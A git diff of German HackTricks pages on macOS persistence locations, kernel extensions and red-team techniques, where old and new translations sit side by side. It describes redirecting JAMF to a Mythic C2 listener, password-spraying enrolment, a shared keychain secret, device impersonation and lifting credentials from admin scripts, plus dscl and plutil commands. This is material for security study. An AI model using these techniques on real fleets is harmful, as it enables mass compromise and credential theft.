Das **StartupItem** ist ein Verzeichnis, das entweder innerhalb von `/Library/StartupItems/` oder `/System/Library/StartupItems/` positioniert sein sollte. Sobald dieses Verzeichnis eingerichtet ist, muss es zwei spezifische Dateien enthalten:
Das **StartupItem** ist ein Verzeichnis, das entweder in `/Library/StartupItems/` oder `/System/Library/StartupItems/` platziert werden sollte. Sobald dieses Verzeichnis eingerichtet ist, muss es zwei spezifische Dateien enthalten:
1. Ein **rc-Skript**: Ein Shell-Skript, das beim Start ausgeführt wird.
2. Eine **plist-Datei**, die speziell als `StartupParameters.plist` benannt ist und verschiedene Konfigurationseinstellungen enthält.
@ -1504,77 +1502,37 @@ Stellen Sie sicher, dass sowohl das rc-Skript als auch die `StartupParameters.pl
{% tab title="superservicename" %}
### MacOS Auto-Start Locations
### MacOS Automatische Startorte
#### Launch Agents
#### Automatische Startobjekte
Launch Agents are used to run processes when a user logs in. They are located in:
- **Systemweit:** `/Library/LaunchDaemons/`, `/Library/LaunchAgents/`
- **Benutzer:** `~/Library/LaunchAgents/`
```plaintext
~/Library/LaunchAgents
/Library/LaunchAgents
```
#### Automatische Startanwendungen
#### Launch Daemons
- **Systemweit:** `/Library/StartupItems/`, `/System/Library/StartupItems/`
- **Benutzer:** `~/Library/StartupItems/`
Launch Daemons are used to run processes at system boot or login. They are located in:
#### Automatische Startskripte
```plaintext
/Library/LaunchDaemons
```
- **Systemweit:** `/Library/StartupItems/`, `/System/Library/StartupItems/`
- **Benutzer:** `~/Library/StartupItems/`
#### Login Items
#### Automatische Startdienste
Login Items are applications that open when a user logs in. They are managed in:
- **Systemweit:** `/etc/rc.d/`, `/etc/rcX.d/`
- **Benutzer:** `~/Library/LaunchAgents/`
```plaintext
System Preferences > Users & Groups > Login Items
```
#### Automatische Startdämonen
#### Startup Items
- **Systemweit:** `/Library/LaunchDaemons/`, `/System/Library/LaunchDaemons/`
- **Benutzer:** `~/Library/LaunchDaemons/`
Startup Items are legacy items that automatically launch when a user logs in. They are located in:
#### Automatische Starteinstellungen
```plaintext
/Library/StartupItems
```
#### Cron Jobs
Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command in the Terminal.
#### Kernel Extensions
Kernel Extensions are drivers that run at a low level in the operating system. They are located in:
```plaintext
/Library/Extensions
/System/Library/Extensions
```
#### Third-Party Extensions
Third-Party Extensions are additional drivers or software that can impact system performance. They are located in:
```plaintext
/Library/Application Support
```
#### System Preferences
System Preferences can also contain items that automatically start at login. Check:
```plaintext
System Preferences > Users & Groups > Current User > Login Items
```
#### Browser Extensions
Browser Extensions can also run automatically and impact browser performance. They are managed within the browser settings.
#### Malware
Malware can install persistence mechanisms in any of these locations to maintain a presence on the system.
- **Systemweit:** `/Library/Preferences/com.apple.loginitems.plist`, `/Library/Preferences/com.apple.loginwindow.plist`
- **Benutzer:** `~/Library/Preferences/com.apple.loginitems.plist`, `~/Library/Preferences/com.apple.loginwindow.plist`
{% endtab %}
```bash
@ -1601,7 +1559,7 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
Ich kann dieses Komponente in meinem macOS nicht finden, für weitere Informationen siehe den Writeup
Ich kann dieses Komponente in meinem macOS nicht finden, für weitere Informationen überprüfen Sie das Writeup
{% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
@ -1624,24 +1582,24 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Beschreibung & Exploit
XQuartz ist **nicht mehr in macOS installiert**, daher sollten Sie für weitere Informationen das Writeup überprüfen.
XQuartz ist **nicht mehr in macOS installiert**, daher sollten Sie für weitere Informationen den Writeup überprüfen.
### ~~kext~~
{% hint style="danger" %}
Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Methode betrachten werde, um aus Sandboxes auszubrechen oder für Persistenz (es sei denn, Sie haben einen Exploit).
Es ist so kompliziert, ein kext selbst als Root zu installieren, dass ich dies nicht als Fluchtweg aus Sandboxes oder sogar für Persistenz betrachten werde (es sei denn, Sie haben einen Exploit).
{% endhint %}
#### Standort
Um ein KEXT als Startelement zu installieren, muss es in einem der folgenden Orte installiert werden:
Um ein KEXT als Startelement zu installieren, muss es in einem der folgenden Orte installiert sein:
* `/System/Library/Extensions`
* KEXT-Dateien, die in das OS X-Betriebssystem integriert sind.
* KEXT-Dateien, die in das Betriebssystem OS X integriert sind.
* `/Library/Extensions`
* KEXT-Dateien, die von Software von Drittanbietern installiert wurden
Sie können aktuell geladene kext-Dateien auflisten mit:
Sie können die derzeit geladenen kext-Dateien auflisten mit:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1653,12 +1611,12 @@ Für weitere Informationen zu [**Kernel-Erweiterungen siehe diesen Abschnitt**](
### ~~amstoold~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
Bericht: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
#### Ort
* **`/usr/local/bin/amstoold`**
* Root erforderlich
* Benötigt Root-Rechte
#### Beschreibung & Ausnutzung
@ -1668,17 +1626,17 @@ Ich kann das nicht mehr in meinem macOS finden.
### ~~xsanctl~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
Bericht: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
#### Ort
* **`/Library/Preferences/Xsan/.xsanrc`**
* Root erforderlich
* Benötigt Root-Rechte
* **Auslöser**: Wenn der Dienst ausgeführt wird (selten)
#### Beschreibung & Ausnutzung
Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen wünschen, lesen Sie den Writeup.
Anscheinend ist es nicht sehr üblich, dieses Skript auszuführen, und ich konnte es nicht einmal in meinem macOS finden, also wenn Sie mehr Informationen möchten, lesen Sie den Bericht.
### ~~/etc/rc.common~~

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Ausnutzung von MDMs
## Ausnutzen von MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Wenn es Ihnen gelingt, **Admin-Anmeldeinformationen zu kompromittieren**, um Zugriff auf die Managementplattform zu erhalten, können Sie potenziell alle Computer kompromittieren, indem Sie Ihre Malware auf den Maschinen verteilen.
Wenn es Ihnen gelingt, **Admin-Anmeldeinformationen zu kompromittieren**, um auf die Management-Plattform zuzugreifen, können Sie **möglicherweise alle Computer kompromittieren**, indem Sie Ihre Malware auf den Maschinen verteilen.
Für Red Teaming in macOS-Umgebungen wird dringend empfohlen, ein grundlegendes Verständnis davon zu haben, wie MDMs funktionieren:
Für Red Teaming in MacOS-Umgebungen wird dringend empfohlen, ein Verständnis dafür zu haben, wie die MDMs funktionieren:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -29,25 +29,25 @@ Für Red Teaming in macOS-Umgebungen wird dringend empfohlen, ein grundlegendes
### Verwendung von MDM als C2
Ein MDM hat die Berechtigung, Profile zu installieren, abzufragen oder zu entfernen, Anwendungen zu installieren, lokale Administratorkonten zu erstellen, das Firmware-Passwort festzulegen, den FileVault-Schlüssel zu ändern...
Ein MDM hat die Berechtigung, Profile zu installieren, abzufragen oder zu entfernen, Anwendungen zu installieren, lokale Admin-Konten zu erstellen, das Firmware-Passwort festzulegen, den FileVault-Schlüssel zu ändern...
Um Ihr eigenes MDM auszuführen, benötigen Sie **Ihre CSR, die von einem Anbieter signiert wurde**, die Sie versuchen könnten, mit [**https://mdmcert.download/**](https://mdmcert.download/) zu erhalten. Und um Ihr eigenes MDM für Apple-Geräte auszuführen, können Sie [**MicroMDM**](https://github.com/micromdm/micromdm) verwenden.
Um Ihr eigenes MDM auszuführen, benötigen Sie **Ihren CSR, der von einem Anbieter signiert ist**, den Sie versuchen könnten, mit [**https://mdmcert.download/**](https://mdmcert.download/) zu erhalten. Und um Ihr eigenes MDM für Apple-Geräte auszuführen, könnten Sie [**MicroMDM**](https://github.com/micromdm/micromdm) verwenden.
Um jedoch eine Anwendung auf einem eingeschriebenen Gerät zu installieren, muss sie immer noch von einem Entwicklerkonto signiert sein... jedoch fügt das Gerät bei der MDM-Registrierung das SSL-Zertifikat des MDM als vertrauenswürdige CA hinzu, sodass Sie jetzt alles signieren können.
Um jedoch eine Anwendung auf einem eingeschriebenen Gerät zu installieren, muss sie immer noch von einem Entwicklerkonto signiert sein... jedoch fügt das Gerät beim MDM-Enrollment das SSL-Zertifikat des MDM als vertrauenswürdige CA hinzu, sodass Sie jetzt alles signieren können.
Um das Gerät in einem MDM zu registrieren, müssen Sie eine **`mobileconfig`**-Datei als Root installieren, die über eine **pkg**-Datei geliefert werden kann (Sie können sie in einem Zip komprimieren und beim Herunterladen von Safari wird sie dekomprimiert).
Um das Gerät in einem MDM einzuschreiben, müssen Sie eine **`mobileconfig`**-Datei als Root installieren, die über eine **pkg**-Datei bereitgestellt werden könnte (Sie könnten sie in einem Zip komprimieren und wenn sie aus Safari heruntergeladen wird, wird sie dekomprimiert).
Der **Mythic Agent Orthrus** verwendet diese Technik.
Der **Mythic-Agent Orthrus** verwendet diese Technik.
### Missbrauch von JAMF PRO
### Ausnutzen von JAMF PRO
JAMF kann **benutzerdefinierte Skripte** (von den Systemadministratoren entwickelte Skripte), **native Payloads** (lokale Kontenerstellung, Festlegen des EFI-Passworts, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
JAMF kann **benutzerdefinierte Skripte** (von Sysadmin entwickelte Skripte), **native Payloads** (lokale Kontoerstellung, Festlegen des EFI-Passworts, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
#### JAMF-Selbstregistrierung
#### JAMF-Selbsteinschreibung
Gehen Sie zu einer Seite wie `https://<Firmenname>.jamfcloud.com/enroll/`, um zu sehen, ob die **Selbstregistrierung aktiviert** ist. Wenn ja, könnte es **Anmeldeinformationen zur Anmeldung** verlangen.
Gehen Sie zu einer Seite wie `https://<Firmenname>.jamfcloud.com/enroll/`, um zu sehen, ob **die Selbsteinschreibung aktiviert ist**. Wenn ja, könnte es **nach Anmeldeinformationen fragen**.
Sie können das Skript [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) verwenden, um einen Passwort-Sprühangriff durchzuführen.
Sie könnten das Skript [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) verwenden, um einen Passwort-Sprühangriff durchzuführen.
Darüber hinaus könnten Sie nach dem Auffinden geeigneter Anmeldeinformationen in der Lage sein, andere Benutzernamen mit dem folgenden Formular per Brute-Force anzugreifen:
@ -55,14 +55,14 @@ Darüber hinaus könnten Sie nach dem Auffinden geeigneter Anmeldeinformationen
#### JAMF-Geräteauthentifizierung
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Die **`jamf`**-Binärdatei enthielt das Geheimnis, um den Schlüsselbund zu öffnen, der zum Zeitpunkt der Entdeckung **gemeinsam** von allen geteilt wurde und lautete: **`jk23ucnq91jfu9aj`**.\
Darüber hinaus bleibt jamf als LaunchDaemon in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** bestehen.
Das **`jamf`**-Binär enthielt das Geheimnis, den Schlüsselbund zu öffnen, der zum Zeitpunkt der Entdeckung **von allen geteilt wurde** und es war: **`jk23ucnq91jfu9aj`**.\
Darüber hinaus bleibt jamf als **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** bestehen.
#### JAMF-Geräteübernahme
Die **URL des JSS** (Jamf Software Server), die von **`jamf`** verwendet wird, befindet sich in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Die **JSS** (Jamf Software Server) **URL**, die **`jamf`** verwenden wird, befindet sich in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Diese Datei enthält im Wesentlichen die URL:
{% code overflow="wrap" %}
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Ein Angreifer könnte also ein bösartiges Paket (`pkg`) ablegen, das diese Datei überschreibt, wenn es installiert wird, und die URL auf einen Mythic C2-Listener von einem Typhon-Agenten setzt, um JAMF als C2 zu missbrauchen.
Daher könnte ein Angreifer ein bösartiges Paket (`pkg`) ablegen, das diese Datei **überschreibt**, wenn es installiert wird, und die **URL auf einen Mythic C2-Listener von einem Typhon-Agenten** setzt, um nun JAMF als C2 zu missbrauchen.
{% code overflow="wrap" %}
```bash
@ -93,26 +93,26 @@ sudo jamf policy -id 0
#### JAMF-Imitation
Um die Kommunikation zwischen einem Gerät und JMF zu **imitieren**, benötigen Sie:
Um die **Kommunikation** zwischen einem Gerät und JMF zu **imitieren**, benötigen Sie:
* Die **UUID** des Geräts: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Das **JAMF-Schlüsselbund** von: `/Library/Application\ Support/Jamf/JAMF.keychain`, das das Gerätezertifikat enthält
Mit diesen Informationen **erstellen Sie eine VM** mit der **gestohlenen** Hardware-**UUID** und mit deaktiviertem **SIP**, lassen das **JAMF-Schlüsselbund fallen**, **haken** den Jamf-**Agenten** ein und stehlen seine Informationen.
Mit diesen Informationen **erstellen Sie eine VM** mit der **gestohlenen** Hardware-**UUID** und mit deaktiviertem **SIP**, lassen das **JAMF-Schlüsselbund fallen**, **hooken** den Jamf-**Agenten** und stehlen seine Informationen.
#### Geheimnisse stehlen
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
Sie können auch den Speicherort `/Library/Application Support/Jamf/tmp/` überwachen, um nach den **benutzerdefinierten Skripten** zu suchen, die Administratoren über Jamf ausführen möchten, da sie hier **platziert, ausgeführt und entfernt** werden. Diese Skripte **können Anmeldeinformationen enthalten**.
Sie könnten auch den Ordner `/Library/Application Support/Jamf/tmp/` überwachen, um die **benutzerdefinierten Skripte** zu überwachen, die Administratoren über Jamf ausführen möchten, da sie hier **platziert, ausgeführt und entfernt** werden. Diese Skripte **können Anmeldeinformationen enthalten**.
Jedoch können **Anmeldeinformationen** als **Parameter** an diese Skripte übergeben werden, daher müssten Sie `ps aux | grep -i jamf` überwachen (ohne Root-Rechte zu haben).
Allerdings könnten **Anmeldeinformationen** als **Parameter** an diese Skripte übergeben werden, daher müssten Sie `ps aux | grep -i jamf` überwachen (ohne Root-Rechte zu haben).
Das Skript [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kann auf neue hinzugefügte Dateien und neue Prozessargumente lauschen.
Das Skript [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kann auf neue hinzugefügte Dateien und neue Prozessargumente hören.
### Remotezugriff auf macOS
### macOS Remote-Zugriff
Und auch über **MacOS** "spezielle" **Netzwerkprotokolle**:
Und auch über **MacOS** "spezielle" **Netzwerk**-**Protokolle**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -120,7 +120,7 @@ Und auch über **MacOS** "spezielle" **Netzwerkprotokolle**:
## Active Directory
In einigen Fällen stellen Sie möglicherweise fest, dass der **MacOS-Computer mit einem AD verbunden ist**. In diesem Szenario sollten Sie versuchen, das Active Directory wie gewohnt zu **enumerieren**. Finden Sie auf den folgenden Seiten **Hilfe**:
In einigen Fällen werden Sie feststellen, dass der **MacOS-Computer mit einem AD verbunden ist**. In diesem Szenario sollten Sie versuchen, das Active Directory auf die Ihnen bekannte Weise zu **enumerieren**. Finden Sie auf den folgenden Seiten **Hilfe**:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -138,11 +138,11 @@ Einige **lokale MacOS-Tools**, die Ihnen ebenfalls helfen können, sind `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Auch gibt es einige Tools für MacOS, um automatisch die AD aufzulisten und mit Kerberos zu spielen:
Auch gibt es einige Tools für MacOS, um automatisch das AD aufzulisten und mit Kerberos zu arbeiten:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound ist eine Erweiterung des Auditing-Tools Bloodhound, mit dem Active Directory-Beziehungen auf MacOS-Hosts gesammelt und aufgenommen werden können.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost ist ein Objective-C-Projekt, das entwickelt wurde, um mit den Heimdal krb5 APIs auf macOS zu interagieren. Das Ziel des Projekts ist es, bessere Sicherheitstests rund um Kerberos auf macOS-Geräten mit nativen APIs zu ermöglichen, ohne dass andere Frameworks oder Pakete auf dem Zielgerät erforderlich sind.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA)-Tool zur Durchführung von Active Directory-Enumeration.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound ist eine Erweiterung des Bloodhound-Audit-Tools, das das Sammeln und Einlesen von Active Directory-Beziehungen auf MacOS-Hosts ermöglicht.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost ist ein Objective-C-Projekt, das entwickelt wurde, um mit den Heimdal krb5-APIs auf macOS zu interagieren. Das Ziel des Projekts ist es, bessere Sicherheitstests rund um Kerberos auf macOS-Geräten unter Verwendung nativer APIs zu ermöglichen, ohne dass ein anderes Framework oder Pakete auf dem Ziel benötigt werden.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA)-Tool zur Durchführung der Active Directory-Auflistung.
### Domäneninformationen
```bash
@ -152,18 +152,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Die drei Arten von MacOS-Benutzern sind:
* **Lokale Benutzer** - Sie werden vom lokalen OpenDirectory-Dienst verwaltet und sind in keiner Weise mit dem Active Directory verbunden.
* **Netzwerkbenutzer** - Flüchtige Active Directory-Benutzer, die eine Verbindung zum DC-Server benötigen, um sich zu authentifizieren.
* **Mobile Benutzer** - Active Directory-Benutzer mit einer lokalen Sicherung für ihre Anmeldeinformationen und Dateien.
- **Lokale Benutzer** - Werden vom lokalen OpenDirectory-Dienst verwaltet und sind in keiner Weise mit dem Active Directory verbunden.
- **Netzwerkbenutzer** - Flüchtige Active Directory-Benutzer, die eine Verbindung zum DC-Server benötigen, um sich zu authentifizieren.
- **Mobile Benutzer** - Active Directory-Benutzer mit einer lokalen Sicherung für ihre Anmeldeinformationen und Dateien.
Die lokalen Informationen über Benutzer und Gruppen werden im Ordner _/var/db/dslocal/nodes/Default_ gespeichert.\
Zum Beispiel werden die Informationen über den Benutzer namens _mark_ in _/var/db/dslocal/nodes/Default/users/mark.plist_ gespeichert und die Informationen über die Gruppe _admin_ befinden sich in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Die lokalen Informationen zu Benutzern und Gruppen werden im Ordner _/var/db/dslocal/nodes/Default_ gespeichert.\
Zum Beispiel werden die Informationen zum Benutzer namens _mark_ in _/var/db/dslocal/nodes/Default/users/mark.plist_ gespeichert und die Informationen zur Gruppe _admin_ in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Zusätzlich zu den HasSession- und AdminTo-Kanten fügt **MacHound drei neue Kanten** zur Bloodhound-Datenbank hinzu:
Zusätzlich zu den Verwendung von HasSession und AdminTo-Kanten fügt **MacHound drei neue Kanten** zur Bloodhound-Datenbank hinzu:
* **CanSSH** - Entität, die zum SSH-Zugriff auf den Host berechtigt ist
* **CanVNC** - Entität, die zum VNC-Zugriff auf den Host berechtigt ist
* **CanAE** - Entität, die zum Ausführen von AppleEvent-Skripten auf dem Host berechtigt ist
- **CanSSH** - Entität, die zum SSH auf den Host berechtigt ist
- **CanVNC** - Entität, die zum VNC auf den Host berechtigt ist
- **CanAE** - Entität, die zum Ausführen von AppleEvent-Skripten auf dem Host berechtigt ist
```bash
#User enumeration
dscl . ls /Users
@ -185,11 +185,11 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
Weitere Informationen finden Sie unter [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
Mehr Informationen unter [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
## Zugriff auf den Schlüsselbund
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die bei einem Zugriff ohne Erzeugung einer Aufforderung dazu beitragen könnten, eine Red-Team-Übung voranzutreiben:
Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die bei einem Zugriff ohne Aufforderung dazu beitragen könnten, ein Red-Team-Exercise voranzutreiben:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -197,13 +197,13 @@ Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die be
## Externe Dienste
MacOS Red Teaming unterscheidet sich von einem regulären Windows Red Teaming, da MacOS in der Regel direkt mit mehreren externen Plattformen integriert ist. Eine gängige Konfiguration von MacOS besteht darin, auf den Computer mit OneLogin-synchronisierten Anmeldeinformationen zuzugreifen und über OneLogin auf verschiedene externe Dienste (wie github, aws...) zuzugreifen.
MacOS Red Teaming unterscheidet sich von einem regulären Windows Red Teaming, da **MacOS in der Regel direkt mit mehreren externen Plattformen integriert ist**. Eine gängige Konfiguration von MacOS besteht darin, auf den Computer mit **OneLogin synchronisierten Anmeldeinformationen zuzugreifen und über OneLogin auf verschiedene externe Dienste zuzugreifen** (wie github, aws...).
## Sonstige Red-Team-Techniken
## Verschiedene Red-Team-Techniken
### Safari
Wenn in Safari eine Datei heruntergeladen wird und es sich um eine "sichere" Datei handelt, wird sie automatisch geöffnet. Wenn Sie also zum Beispiel ein Zip-Archiv herunterladen, wird es automatisch entpackt:
Wenn in Safari eine Datei heruntergeladen wird und es sich um eine "sichere" Datei handelt, wird sie **automatisch geöffnet**. Wenn Sie beispielsweise **eine Zip-Datei herunterladen**, wird sie automatisch entpackt:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
@ -214,17 +214,3 @@ Wenn in Safari eine Datei heruntergeladen wird und es sich um eine "sichere" Dat
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
</details>

View file

@ -2,45 +2,45 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr Unternehmen auf HackTricks bewerben? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Schauen Sie sich die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen auf HackTricks beworben sehen**? Oder möchten Sie Zugang zur **neuesten Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere exklusive Sammlung von [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS und HackTricks Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe** oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen Sie mir** auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Teilen Sie Ihre Hacking-Tricks, indem Sie einen PR an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
* Holen Sie sich das offizielle [**PEASS und HackTricks Merch**](https://peass.creator-spring.com)
* **Treten Sie dem** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe bei** oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen Sie mir** auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PR an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>
## Grundlegende Informationen
Kernelerweiterungen (Kexts) sind **Pakete** mit der Dateierweiterung **`.kext`**, die direkt in den macOS-Kernelraum geladen werden und dem Hauptbetriebssystem zusätzliche Funktionen bieten.
Kernelerweiterungen (Kexts) sind **Pakete** mit der Erweiterung **`.kext`**, die **direkt in den macOS-Kernelraum geladen** werden und dem Hauptbetriebssystem zusätzliche Funktionen bieten.
### Anforderungen
Offensichtlich ist dies so mächtig, dass es **kompliziert ist, eine Kernelerweiterung zu laden**. Dies sind die **Anforderungen**, die eine Kernelerweiterung erfüllen muss, um geladen zu werden:
* Beim **Starten des Wiederherstellungsmodus** müssen Kernelerweiterungen **zugelassen** werden:
